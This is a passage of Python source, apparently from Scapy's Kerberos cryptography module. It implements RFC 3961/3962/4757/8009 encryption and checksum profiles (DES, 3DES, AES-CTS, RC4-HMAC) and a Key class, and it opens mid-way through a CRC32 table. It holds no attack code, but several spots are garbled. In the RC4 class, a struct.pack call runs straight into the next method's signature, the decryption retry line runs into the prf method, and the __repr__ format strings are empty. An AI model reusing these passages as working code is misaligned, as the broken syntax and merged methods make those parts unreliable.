0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d ] # fmt: on ############ # RFC 3961 # ############ # RFC3961 sect 3 class _EncryptionAlgorithmProfile(abc.ABCMeta): """ Base class for etype profiles. Usable etype classes must define: :attr etype: etype number :attr keysize: protocol size of key in bytes :attr seedsize: random_to_key input size in bytes :attr reqcksum: 'required checksum mechanism' per RFC3961. this is the default checksum used for this algorithm. :attr random_to_key: (if the keyspace is not dense) :attr string_to_key: :attr encrypt: :attr decrypt: :attr prf: """ etype = None # type: EncryptionType keysize = None # type: int seedsize = None # type: int reqcksum = None # type: ChecksumType @classmethod @abc.abstractmethod def derive(cls, key, constant): # type: (Key, bytes) -> bytes pass @classmethod @abc.abstractmethod def encrypt(cls, key, keyusage, plaintext, confounder): # type: (Key, int, bytes, Optional[bytes]) -> bytes pass @classmethod @abc.abstractmethod def decrypt(cls, key, keyusage, ciphertext): # type: (Key, int, bytes) -> bytes pass @classmethod @abc.abstractmethod def prf(cls, key, string): # type: (Key, bytes) -> bytes pass @classmethod @abc.abstractmethod def string_to_key(cls, string, salt, params): # type: (bytes, bytes, Optional[bytes]) -> Key pass @classmethod def random_to_key(cls, seed): # type: (bytes) -> Key if len(seed) != cls.seedsize: raise ValueError("Wrong seed length") return Key(cls.etype, key=seed) # RFC3961 sect 4 class _ChecksumProfile(object): """ Base class for checksum profiles. Usable checksum classes must define: :func checksum: :attr macsize: Size of checksum in bytes :func verify: (if verification is not just checksum-and-compare) """ macsize = None # type: int @classmethod @abc.abstractmethod def checksum(cls, key, keyusage, text): # type: (Key, int, bytes) -> bytes pass @classmethod def verify(cls, key, keyusage, text, cksum): # type: (Key, int, bytes, bytes) -> None expected = cls.checksum(key, keyusage, text) if not _mac_equal(cksum, expected): raise InvalidChecksum("checksum verification failure") # RFC3961 sect 5.3 class _SimplifiedEncryptionProfile(_EncryptionAlgorithmProfile): """ Base class for etypes using the RFC 3961 simplified profile. Defines the encrypt, decrypt, and prf methods. Subclasses must define: :param blocksize: Underlying cipher block size in bytes :param padsize: Underlying cipher padding multiple (1 or blocksize) :param macsize: Size of integrity MAC in bytes :param hashmod: underlying hash function :param basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher """ blocksize = None # type: int padsize = None # type: int macsize = None # type: int hashmod = None # type: Any # Used in RFC 8009. This is not a simplified profile per se but # is still pretty close. rfc8009 = False @classmethod @abc.abstractmethod def basic_encrypt(cls, key, plaintext): # type: (bytes, bytes) -> bytes pass @classmethod @abc.abstractmethod def basic_decrypt(cls, key, ciphertext): # type: (bytes, bytes) -> bytes pass @classmethod def derive(cls, key, constant): # type: (Key, bytes) -> bytes """ Also known as "DK" in RFC3961. """ # RFC 3961 only says to n-fold the constant only if it is # shorter than the cipher block size. But all Unix # implementations n-fold constants if their length is larger # than the block size as well, and n-folding when the length # is equal to the block size is a no-op. plaintext = _n_fold(constant, cls.blocksize) rndseed = b"" while len(rndseed) < cls.seedsize: ciphertext = cls.basic_encrypt(key.key, plaintext) rndseed += ciphertext plaintext = ciphertext # DK(Key, Constant) = random-to-key(DR(Key, Constant)) return cls.random_to_key(rndseed[0 : cls.seedsize]).key @classmethod def encrypt(cls, key, keyusage, plaintext, confounder, signtext=None): # type: (Key, int, bytes, Optional[bytes], Optional[bytes]) -> bytes """ Encryption function. :param key: the key :param keyusage: the keyusage :param plaintext: the text to encrypt :param confounder: (optional) the confounder. If none, will be random :param signtext: (optional) make the checksum include different data than what is encrypted. Useful for kerberos GSS_WrapEx. If none, same as plaintext. """ if not cls.rfc8009: ki = cls.derive(key, struct.pack(">IB", keyusage, 0x55)) ke = cls.derive(key, struct.pack(">IB", keyusage, 0xAA)) else: ki = cls.derive(key, struct.pack(">IB", keyusage, 0x55), cls.macsize * 8) # type: ignore # noqa: E501 ke = cls.derive(key, struct.pack(">IB", keyusage, 0xAA), cls.keysize * 8) # type: ignore # noqa: E501 if confounder is None: confounder = os.urandom(cls.blocksize) basic_plaintext = confounder + _zeropad(plaintext, cls.padsize) if signtext is None: signtext = basic_plaintext if not cls.rfc8009: # Simplified profile hmac = Hmac(ki, cls.hashmod).digest(signtext) return cls.basic_encrypt(ke, basic_plaintext) + hmac[: cls.macsize] else: # RFC 8009 C = cls.basic_encrypt(ke, basic_plaintext) hmac = Hmac(ki, cls.hashmod).digest(b"\0" * 16 + C) # XXX IV return C + hmac[: cls.macsize] @classmethod def decrypt(cls, key, keyusage, ciphertext, presignfunc=None): # type: (Key, int, bytes, Optional[Callable[[bytes, bytes], bytes]]) -> bytes """ decryption function """ if not cls.rfc8009: ki = cls.derive(key, struct.pack(">IB", keyusage, 0x55)) ke = cls.derive(key, struct.pack(">IB", keyusage, 0xAA)) else: ki = cls.derive(key, struct.pack(">IB", keyusage, 0x55), cls.macsize * 8) # type: ignore # noqa: E501 ke = cls.derive(key, struct.pack(">IB", keyusage, 0xAA), cls.keysize * 8) # type: ignore # noqa: E501 if len(ciphertext) < cls.blocksize + cls.macsize: raise ValueError("Ciphertext too short") basic_ctext, mac = ciphertext[: -cls.macsize], ciphertext[-cls.macsize :] if len(basic_ctext) % cls.padsize != 0: raise ValueError("ciphertext does not meet padding requirement") if not cls.rfc8009: # Simplified profile basic_plaintext = cls.basic_decrypt(ke, basic_ctext) signtext = basic_plaintext if presignfunc: # Allow to have additional processing of the data that is to be signed. # This is useful for GSS_WrapEx signtext = presignfunc( basic_plaintext[: cls.blocksize], basic_plaintext[cls.blocksize :], ) hmac = Hmac(ki, cls.hashmod).digest(signtext) expmac = hmac[: cls.macsize] if not _mac_equal(mac, expmac): raise ValueError("ciphertext integrity failure") else: # RFC 8009 signtext = b"\0" * 16 + basic_ctext # XXX IV if presignfunc: # Allow to have additional processing of the data that is to be signed. # This is useful for GSS_WrapEx signtext = presignfunc( basic_ctext[16 : 16 + cls.blocksize], basic_ctext[16 + cls.blocksize :], ) hmac = Hmac(ki, cls.hashmod).digest(signtext) expmac = hmac[: cls.macsize] if not _mac_equal(mac, expmac): raise ValueError("ciphertext integrity failure") basic_plaintext = cls.basic_decrypt(ke, basic_ctext) # Discard the confounder. return bytes(basic_plaintext[cls.blocksize :]) @classmethod def prf(cls, key, string): # type: (Key, bytes) -> bytes """ pseudo-random function """ # Hash the input. RFC 3961 says to truncate to the padding # size, but implementations truncate to the block size. hashval = cls.hashmod().digest(string) if len(hashval) % cls.blocksize: hashval = hashval[: -(len(hashval) % cls.blocksize)] # Encrypt the hash with a derived key. kp = cls.derive(key, b"prf") return cls.basic_encrypt(kp, hashval) # RFC3961 sect 5.4 class _SimplifiedChecksum(_ChecksumProfile): """ Base class for checksums using the RFC 3961 simplified profile. Defines the checksum and verify methods. Subclasses must define: :attr enc: Profile of associated etype """ enc = None # type: Type[_SimplifiedEncryptionProfile] # Used in RFC 8009. This is not a simplified profile per se but # is still pretty close. rfc8009 = False @classmethod def checksum(cls, key, keyusage, text): # type: (Key, int, bytes) -> bytes if not cls.rfc8009: # Simplified profile kc = cls.enc.derive(key, struct.pack(">IB", keyusage, 0x99)) else: # RFC 8009 kc = cls.enc.derive( # type: ignore key, struct.pack(">IB", keyusage, 0x99), cls.macsize * 8 ) hmac = Hmac(kc, cls.enc.hashmod).digest(text) return hmac[: cls.macsize] @classmethod def verify(cls, key, keyusage, text, cksum): # type: (Key, int, bytes, bytes) -> None if key.etype != cls.enc.etype: raise ValueError("Wrong key type for checksum") super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum) # RFC3961 sect 6.1 class _CRC32(_ChecksumProfile): macsize = 4 # This isn't your usual CRC32, it's a "modified version" according to the RFC3961. # Another RFC states it's just a buggy version of the actual CRC32. @classmethod def checksum(cls, key, keyusage, text): # type: (Optional[Key], int, bytes) -> bytes c = 0 for i in range(len(text)): idx = text[i] ^ c idx &= 0xFF c >>= 8 c ^= CRC32_TABLE[idx] return c.to_bytes(4, "little") # RFC3961 sect 6.2 class _DESCBC(_SimplifiedEncryptionProfile): keysize = 8 seedsize = 8 blocksize = 8 padsize = 8 macsize = 16 hashmod = Hash_MD5 @classmethod def encrypt(cls, key, keyusage, plaintext, confounder, signtext=None): # type: (Key, int, bytes, Optional[bytes], Any) -> bytes if confounder is None: confounder = os.urandom(cls.blocksize) basic_plaintext = ( confounder + b"\x00" * cls.macsize + _zeropad(plaintext, cls.padsize) ) checksum = cls.hashmod().digest(basic_plaintext) basic_plaintext = ( basic_plaintext[: len(confounder)] + checksum + basic_plaintext[len(confounder) + len(checksum) :] ) return cls.basic_encrypt(key.key, basic_plaintext) @classmethod def decrypt(cls, key, keyusage, ciphertext, presignfunc=None): # type: (Key, int, bytes, Any) -> bytes if len(ciphertext) < cls.blocksize + cls.macsize: raise ValueError("ciphertext too short") complex_plaintext = cls.basic_decrypt(key.key, ciphertext) cofounder = complex_plaintext[: cls.padsize] mac = complex_plaintext[cls.padsize : cls.padsize + cls.macsize] message = complex_plaintext[cls.padsize + cls.macsize :] expmac = cls.hashmod().digest(cofounder + b"\x00" * cls.macsize + message) if not _mac_equal(mac, expmac): raise InvalidChecksum("ciphertext integrity failure") return bytes(message) @classmethod def mit_des_string_to_key(cls, string, salt): # type: (bytes, bytes) -> Key def fixparity(deskey): # type: (List[int]) -> bytes temp = b"" for i in range(len(deskey)): t = (bin(orb(deskey[i]))[2:]).rjust(8, "0") if t[:7].count("1") % 2 == 0: temp += chb(int(t[:7] + "1", 2)) else: temp += chb(int(t[:7] + "0", 2)) return temp def addparity(l1): # type: (List[int]) -> List[int] temp = list() for byte in l1: if (bin(byte).count("1") % 2) == 0: byte = (byte << 1) | 0b00000001 else: byte = (byte << 1) & 0b11111110 temp.append(byte) return temp def XOR(l1, l2): # type: (List[int], List[int]) -> List[int] temp = list() for b1, b2 in zip(l1, l2): temp.append((b1 ^ b2) & 0b01111111) return temp odd = True tempstring = [0, 0, 0, 0, 0, 0, 0, 0] s = _zeropad(string + salt, cls.padsize) for block in [s[i : i + 8] for i in range(0, len(s), 8)]: temp56 = list() # removeMSBits for byte in block: temp56.append(orb(byte) & 0b01111111) # reverse if odd is False: bintemp = b"" for byte in temp56: bintemp += bin(byte)[2:].rjust(7, "0").encode() bintemp = bintemp[::-1] temp56 = list() for bits7 in [bintemp[i : i + 7] for i in range(0, len(bintemp), 7)]: temp56.append(int(bits7, 2)) odd = not odd tempstring = XOR(tempstring, temp56) tempkey = bytearray(b"".join(chb(byte) for byte in addparity(tempstring))) if bytes(tempkey) in WEAK_DES_KEYS: tempkey[7] = tempkey[7] ^ 0xF0 tempkeyb = bytes(tempkey) des = Cipher(DES(tempkeyb), modes.CBC(tempkeyb)).encryptor() chekcsumkey = des.update(s)[-8:] chekcsumkey = bytearray(fixparity(chekcsumkey)) if bytes(chekcsumkey) in WEAK_DES_KEYS: chekcsumkey[7] = chekcsumkey[7] ^ 0xF0 return Key(cls.etype, key=bytes(chekcsumkey)) @classmethod def basic_encrypt(cls, key, plaintext): # type: (bytes, bytes) -> bytes assert len(plaintext) % 8 == 0 des = Cipher(DES(key), modes.CBC(b"\0" * 8)).encryptor() return des.update(bytes(plaintext)) @classmethod def basic_decrypt(cls, key, ciphertext): # type: (bytes, bytes) -> bytes assert len(ciphertext) % 8 == 0 des = Cipher(DES(key), modes.CBC(b"\0" * 8)).decryptor() return des.update(bytes(ciphertext)) @classmethod def string_to_key(cls, string, salt, params): # type: (bytes, bytes, Optional[bytes]) -> Key if params is not None and params != b"": raise ValueError("Invalid DES string-to-key parameters") key = cls.mit_des_string_to_key(string, salt) return key # RFC3961 sect 6.2.1 class _DESMD5(_DESCBC): etype = EncryptionType.DES_CBC_MD5 hashmod = Hash_MD5 reqcksum = ChecksumType.RSA_MD5_DES # RFC3961 sect 6.2.2 class _DESMD4(_DESCBC): etype = EncryptionType.DES_CBC_MD4 hashmod = Hash_MD4 reqcksum = ChecksumType.RSA_MD4_DES # RFC3961 sect 6.3 class _DES3CBC(_SimplifiedEncryptionProfile): etype = EncryptionType.DES3_CBC_SHA1_KD keysize = 24 seedsize = 21 blocksize = 8 padsize = 8 macsize = 20 hashmod = Hash_SHA reqcksum = ChecksumType.HMAC_SHA1_DES3_KD @classmethod def random_to_key(cls, seed): # type: (bytes) -> Key # XXX Maybe reframe as _DESEncryptionType.random_to_key and use that # way from DES3 random-to-key when DES is implemented, since # MIT does this instead of the RFC 3961 random-to-key. def expand(seed): # type: (bytes) -> bytes def parity(b): # type: (int) -> int # Return b with the low-order bit set to yield odd parity. b &= ~1 return b if bin(b & ~1).count("1") % 2 else b | 1 assert len(seed) == 7 firstbytes = [parity(b & ~1) for b in seed] lastbyte = parity(sum((seed[i] & 1) << i + 1 for i in range(7))) keybytes = bytearray(firstbytes + [lastbyte]) if bytes(keybytes) in WEAK_DES_KEYS: keybytes[7] = keybytes[7] ^ 0xF0 return bytes(keybytes) if len(seed) != 21: raise ValueError("Wrong seed length") k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:]) return Key(cls.etype, key=k1 + k2 + k3) @classmethod def string_to_key(cls, string, salt, params): # type: (bytes, bytes, Optional[bytes]) -> Key if params is not None and params != b"": raise ValueError("Invalid DES3 string-to-key parameters") k = cls.random_to_key(_n_fold(string + salt, 21)) return Key( cls.etype, key=cls.derive(k, b"kerberos"), ) @classmethod def basic_encrypt(cls, key, plaintext): # type: (bytes, bytes) -> bytes assert len(plaintext) % 8 == 0 des3 = Cipher( decrepit_algorithms.TripleDES(key), modes.CBC(b"\0" * 8) ).encryptor() return des3.update(bytes(plaintext)) @classmethod def basic_decrypt(cls, key, ciphertext): # type: (bytes, bytes) -> bytes assert len(ciphertext) % 8 == 0 des3 = Cipher( decrepit_algorithms.TripleDES(key), modes.CBC(b"\0" * 8) ).decryptor() return des3.update(bytes(ciphertext)) class _SHA1DES3(_SimplifiedChecksum): macsize = 20 enc = _DES3CBC ############ # RFC 3962 # ############ # RFC3962 sect 6 class _AESEncryptionType_SHA1_96(_SimplifiedEncryptionProfile, abc.ABCMeta): blocksize = 16 padsize = 1 macsize = 12 hashmod = Hash_SHA @classmethod def string_to_key(cls, string, salt, params): # type: (bytes, bytes, Optional[bytes]) -> Key iterations = struct.unpack(">L", params or b"\x00\x00\x10\x00")[0] kdf = PBKDF2HMAC( algorithm=hashes.SHA1(), length=cls.seedsize, salt=salt, iterations=iterations, ) tkey = cls.random_to_key(kdf.derive(string)) return Key( cls.etype, key=cls.derive(tkey, b"kerberos"), ) # basic_encrypt and basic_decrypt implement AES in CBC-CS3 mode @classmethod def basic_encrypt(cls, key, plaintext): # type: (bytes, bytes) -> bytes assert len(plaintext) >= 16 aes = Cipher(algorithms.AES(key), modes.CBC(b"\0" * 16)).encryptor() ctext = aes.update(_zeropad(bytes(plaintext), 16)) if len(plaintext) > 16: # Swap the last two ciphertext blocks and truncate the # final block to match the plaintext length. lastlen = len(plaintext) % 16 or 16 ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen] return ctext @classmethod def basic_decrypt(cls, key, ciphertext): # type: (bytes, bytes) -> bytes assert len(ciphertext) >= 16 aes = Cipher(algorithms.AES(key), modes.ECB()).decryptor() if len(ciphertext) == 16: return aes.update(ciphertext) # Split the ciphertext into blocks. The last block may be partial. cblocks = [ bytearray(ciphertext[p : p + 16]) for p in range(0, len(ciphertext), 16) ] lastlen = len(cblocks[-1]) # CBC-decrypt all but the last two blocks. prev_cblock = bytearray(16) plaintext = b"" for bb in cblocks[:-2]: plaintext += _xorbytes(bytearray(aes.update(bytes(bb))), prev_cblock) prev_cblock = bb # Decrypt the second-to-last cipher block. The left side of # the decrypted block will be the final block of plaintext # xor'd with the final partial cipher block; the right side # will be the omitted bytes of ciphertext from the final # block. bb = bytearray(aes.update(bytes(cblocks[-2]))) lastplaintext = _xorbytes(bb[:lastlen], cblocks[-1]) omitted = bb[lastlen:] # Decrypt the final cipher block plus the omitted bytes to get # the second-to-last plaintext block. plaintext += _xorbytes( bytearray(aes.update(bytes(cblocks[-1]) + bytes(omitted))), prev_cblock ) return plaintext + lastplaintext # RFC3962 sect 7 class _AES128CTS_SHA1_96(_AESEncryptionType_SHA1_96): etype = EncryptionType.AES128_CTS_HMAC_SHA1_96 keysize = 16 seedsize = 16 reqcksum = ChecksumType.HMAC_SHA1_96_AES128 class _AES256CTS_SHA1_96(_AESEncryptionType_SHA1_96): etype = EncryptionType.AES256_CTS_HMAC_SHA1_96 keysize = 32 seedsize = 32 reqcksum = ChecksumType.HMAC_SHA1_96_AES256 class _SHA1_96_AES128(_SimplifiedChecksum): macsize = 12 enc = _AES128CTS_SHA1_96 class _SHA1_96_AES256(_SimplifiedChecksum): macsize = 12 enc = _AES256CTS_SHA1_96 ############ # RFC 4757 # ############ # RFC4757 sect 4 class _HMACMD5(_ChecksumProfile): macsize = 16 @classmethod def checksum(cls, key, keyusage, text): # type: (Key, int, bytes) -> bytes ksign = Hmac_MD5(key.key).digest(b"signaturekey\0") md5hash = Hash_MD5().digest(_RC4.usage_str(keyusage) + text) return Hmac_MD5(ksign).digest(md5hash) @classmethod def verify(cls, key, keyusage, text, cksum): # type: (Key, int, bytes, bytes) -> None if key.etype not in [EncryptionType.RC4_HMAC, EncryptionType.RC4_HMAC_EXP]: raise ValueError("Wrong key type for checksum") super(_HMACMD5, cls).verify(key, keyusage, text, cksum) # RFC4757 sect 5 class _RC4(_EncryptionAlgorithmProfile): etype = EncryptionType.RC4_HMAC keysize = 16 seedsize = 16 reqcksum = ChecksumType.HMAC_MD5 export = False @staticmethod def usage_str(keyusage): # type: (int) -> bytes # Return a four-byte string for an RFC 3961 keyusage, using # the RFC 4757 rules sect 3. Per the errata, do not map 9 to 8. table = {3: 8, 23: 13} msusage = table[keyusage] if keyusage in table else keyusage return struct.pack(" Key if params is not None and params != b"": raise ValueError("Invalid RC4 string-to-key parameters") utf16string = plain_str(string).encode("UTF-16LE") return Key(cls.etype, key=Hash_MD4().digest(utf16string)) @classmethod def encrypt(cls, key, keyusage, plaintext, confounder): # type: (Key, int, bytes, Optional[bytes]) -> bytes if confounder is None: confounder = os.urandom(8) if cls.export: ki = Hmac_MD5(key.key).digest(b"fortybits\x00" + cls.usage_str(keyusage)) else: ki = Hmac_MD5(key.key).digest(cls.usage_str(keyusage)) cksum = Hmac_MD5(ki).digest(confounder + plaintext) if cls.export: ki = ki[:7] + b"\xab" * 9 ke = Hmac_MD5(ki).digest(cksum) rc4 = Cipher(algorithms.ARC4(ke), mode=None).encryptor() return cksum + rc4.update(bytes(confounder + plaintext)) @classmethod def decrypt(cls, key, keyusage, ciphertext): # type: (Key, int, bytes) -> bytes if len(ciphertext) < 24: raise ValueError("ciphertext too short") cksum, basic_ctext = ciphertext[:16], ciphertext[16:] if cls.export: ki = Hmac_MD5(key.key).digest(b"fortybits\x00" + cls.usage_str(keyusage)) else: ki = Hmac_MD5(key.key).digest(cls.usage_str(keyusage)) if cls.export: kie = ki[:7] + b"\xab" * 9 else: kie = ki ke = Hmac_MD5(kie).digest(cksum) rc4 = Cipher(decrepit_algorithms.ARC4(ke), mode=None).decryptor() basic_plaintext = rc4.update(bytes(basic_ctext)) exp_cksum = Hmac_MD5(ki).digest(basic_plaintext) ok = _mac_equal(cksum, exp_cksum) if not ok and keyusage == 9: # Try again with usage 8, due to RFC 4757 errata. ki = Hmac_MD5(key.key).digest(struct.pack(" bytes return Hmac_SHA(key.key).digest(string) class _RC4_EXPORT(_RC4): etype = EncryptionType.RC4_HMAC_EXP export = True ############ # RFC 8009 # ############ class _AESEncryptionType_SHA256_SHA384(_AESEncryptionType_SHA1_96, abc.ABCMeta): enctypename = None # type: bytes hashmod: _GenericHash = None # Scapy _hashmod: hashes.HashAlgorithm = None # Cryptography # Turn on RFC 8009 mode rfc8009 = True @classmethod def derive(cls, key, label, k, context=b""): # type: ignore # type: (Key, bytes, int, bytes) -> bytes """ Also known as "KDF-HMAC-SHA2" in RFC8009. """ # RFC 8009 sect 3 return SP800108_KDFCTR( K_I=key.key, Label=label, Context=context, L=k, hashmod=cls.hashmod, ) @classmethod def string_to_key(cls, string, salt, params): # type: (bytes, bytes, Optional[bytes]) -> Key # RFC 8009 sect 4 iterations = struct.unpack(">L", params or b"\x00\x00\x80\x00")[0] saltp = cls.enctypename + b"\x00" + salt kdf = PBKDF2HMAC( algorithm=cls._hashmod(), length=cls.seedsize, salt=saltp, iterations=iterations, ) tkey = cls.random_to_key(kdf.derive(string)) return Key( cls.etype, key=cls.derive(tkey, b"kerberos", cls.keysize * 8), ) @classmethod def prf(cls, key, string): # type: (Key, bytes) -> bytes return cls.derive(key, b"prf", cls.hashmod.hash_len * 8, string) class _AES128CTS_SHA256_128(_AESEncryptionType_SHA256_SHA384): etype = EncryptionType.AES128_CTS_HMAC_SHA256_128 keysize = 16 seedsize = 16 macsize = 16 reqcksum = ChecksumType.HMAC_SHA256_128_AES128 # _AESEncryptionType_SHA256_SHA384 parameters enctypename = b"aes128-cts-hmac-sha256-128" hashmod = Hash_SHA256 _hashmod = hashes.SHA256 class _AES256CTS_SHA384_192(_AESEncryptionType_SHA256_SHA384): etype = EncryptionType.AES256_CTS_HMAC_SHA384_192 keysize = 32 seedsize = 32 macsize = 24 reqcksum = ChecksumType.HMAC_SHA384_192_AES256 # _AESEncryptionType_SHA256_SHA384 parameters enctypename = b"aes256-cts-hmac-sha384-192" hashmod = Hash_SHA384 _hashmod = hashes.SHA384 class _SHA256_128_AES128(_SimplifiedChecksum): macsize = 16 enc = _AES128CTS_SHA256_128 rfc8009 = True class _SHA384_182_AES256(_SimplifiedChecksum): macsize = 24 enc = _AES256CTS_SHA384_192 rfc8009 = True ############## # Key object # ############## _enctypes = { # DES_CBC_CRC - UNIMPLEMENTED EncryptionType.DES_CBC_MD5: _DESMD5, EncryptionType.DES_CBC_MD4: _DESMD4, # DES3_CBC_SHA1 - UNIMPLEMENTED EncryptionType.DES3_CBC_SHA1_KD: _DES3CBC, EncryptionType.AES128_CTS_HMAC_SHA1_96: _AES128CTS_SHA1_96, EncryptionType.AES256_CTS_HMAC_SHA1_96: _AES256CTS_SHA1_96, EncryptionType.AES128_CTS_HMAC_SHA256_128: _AES128CTS_SHA256_128, EncryptionType.AES256_CTS_HMAC_SHA384_192: _AES256CTS_SHA384_192, # CAMELLIA128-CTS-CMAC - UNIMPLEMENTED # CAMELLIA256-CTS-CMAC - UNIMPLEMENTED EncryptionType.RC4_HMAC: _RC4, EncryptionType.RC4_HMAC_EXP: _RC4_EXPORT, } _checksums = { ChecksumType.CRC32: _CRC32, # RSA_MD4 - UNIMPLEMENTED # RSA_MD4_DES - UNIMPLEMENTED # RSA_MD5 - UNIMPLEMENTED # RSA_MD5_DES - UNIMPLEMENTED # SHA1 - UNIMPLEMENTED ChecksumType.HMAC_SHA1_DES3_KD: _SHA1DES3, # HMAC_SHA1_DES3 - UNIMPLEMENTED ChecksumType.HMAC_SHA1_96_AES128: _SHA1_96_AES128, ChecksumType.HMAC_SHA1_96_AES256: _SHA1_96_AES256, # CMAC-CAMELLIA128 - UNIMPLEMENTED # CMAC-CAMELLIA256 - UNIMPLEMENTED ChecksumType.HMAC_SHA256_128_AES128: _SHA256_128_AES128, ChecksumType.HMAC_SHA384_192_AES256: _SHA384_182_AES256, ChecksumType.HMAC_MD5: _HMACMD5, 0xFFFFFF76: _HMACMD5, } class Key(object): def __init__( self, etype: Union[EncryptionType, int, None] = None, key: bytes = b"", cksumtype: Union[ChecksumType, int, None] = None, ) -> None: """ Kerberos Key object. :param etype: the EncryptionType :param cksumtype: the ChecksumType :param key: the bytes containing the key bytes for this Key. """ assert etype or cksumtype, "Provide an etype or a cksumtype !" assert key, "Provide a key !" if isinstance(etype, int): etype = EncryptionType(etype) if isinstance(cksumtype, int): cksumtype = ChecksumType(cksumtype) self.etype = etype if etype is not None: try: self.ep = _enctypes[etype] except ValueError: raise ValueError("UNKNOWN/UNIMPLEMENTED etype '%s'" % etype) if len(key) != self.ep.keysize: raise ValueError( "Wrong key length. Got %s. Expected %s" % (len(key), self.ep.keysize) ) if cksumtype is None and self.ep.reqcksum in _checksums: cksumtype = self.ep.reqcksum self.cksumtype = cksumtype if cksumtype is not None: try: self.cp = _checksums[cksumtype] except ValueError: raise ValueError("UNKNOWN/UNIMPLEMENTED cksumtype '%s'" % cksumtype) if self.etype is None and issubclass(self.cp, _SimplifiedChecksum): self.etype = self.cp.enc.etype # type: ignore self.key = key def __repr__(self): # type: () -> str if self.etype: name = self.etype.name elif self.cksumtype: name = self.cksumtype.name else: return "" return "" % ( name, " (%s octets)" % len(self.key), ) def encrypt(self, keyusage, plaintext, confounder=None, **kwargs): # type: (int, bytes, Optional[bytes], **Any) -> bytes """ Encrypt data using the current Key. :param keyusage: the key usage :param plaintext: the plain text to encrypt :param confounder: (optional) choose the confounder. Otherwise random. """ return self.ep.encrypt(self, keyusage, bytes(plaintext), confounder, **kwargs) def decrypt(self, keyusage, ciphertext, **kwargs): # type: (int, bytes, **Any) -> bytes """ Decrypt data using the current Key. :param keyusage: the key usage :param ciphertext: the encrypted text to decrypt """ # Throw InvalidChecksum on checksum failure. Throw ValueError on # invalid key enctype or malformed ciphertext. return self.ep.decrypt(self, keyusage, ciphertext, **kwargs) def prf(self, string): # type: (bytes) -> bytes return self.ep.prf(self, string) def make_checksum(self, keyusage, text, cksumtype=None, **kwargs): # type: (int, bytes, Optional[int], **Any) -> bytes """ Create a checksum using the current Key. :param keyusage: the key usage :param text: the text to create a checksum from :param cksumtype: (optional) override the checksum type """ if cksumtype is not None and cksumtype != self.cksumtype: # Clone key and use a different cksumtype return Key( cksumtype=cksumtype, key=self.key, ).make_checksum(keyusage=keyusage, text=text, **kwargs) if self.cksumtype is None: raise ValueError("cksumtype not specified !") return self.cp.checksum(self, keyusage, text, **kwargs) def verify_checksum(self, keyusage, text, cksum, cksumtype=None): # type: (int, bytes, bytes, Optional[int]) -> None """ Verify a checksum using the current Key. :param keyusage: the key usage :param text: the text to verify :param cksum: the expected checksum :param cksumtype: (optional) override the checksum type """ if cksumtype is not None and cksumtype != self.cksumtype: # Clone key and use a different cksumtype return Key( cksumtype=cksumtype, key=self.key, ).verify_checksum(keyusage=keyusage, text=text, cksum=cksum) # Throw InvalidChecksum exception on checksum failure. Throw # ValueError on invalid cksumtype, invalid key enctype, or # malformed checksum. if self.cksumtype is None: raise ValueError("cksumtype not specified !") self.cp.verify(self, keyusage, text, cksum) @classmethod def random_to_key(cls, etype, seed): # type: (EncryptionType, bytes) -> Key """ random-to-key per RFC3961 This is used to create a random Key from a 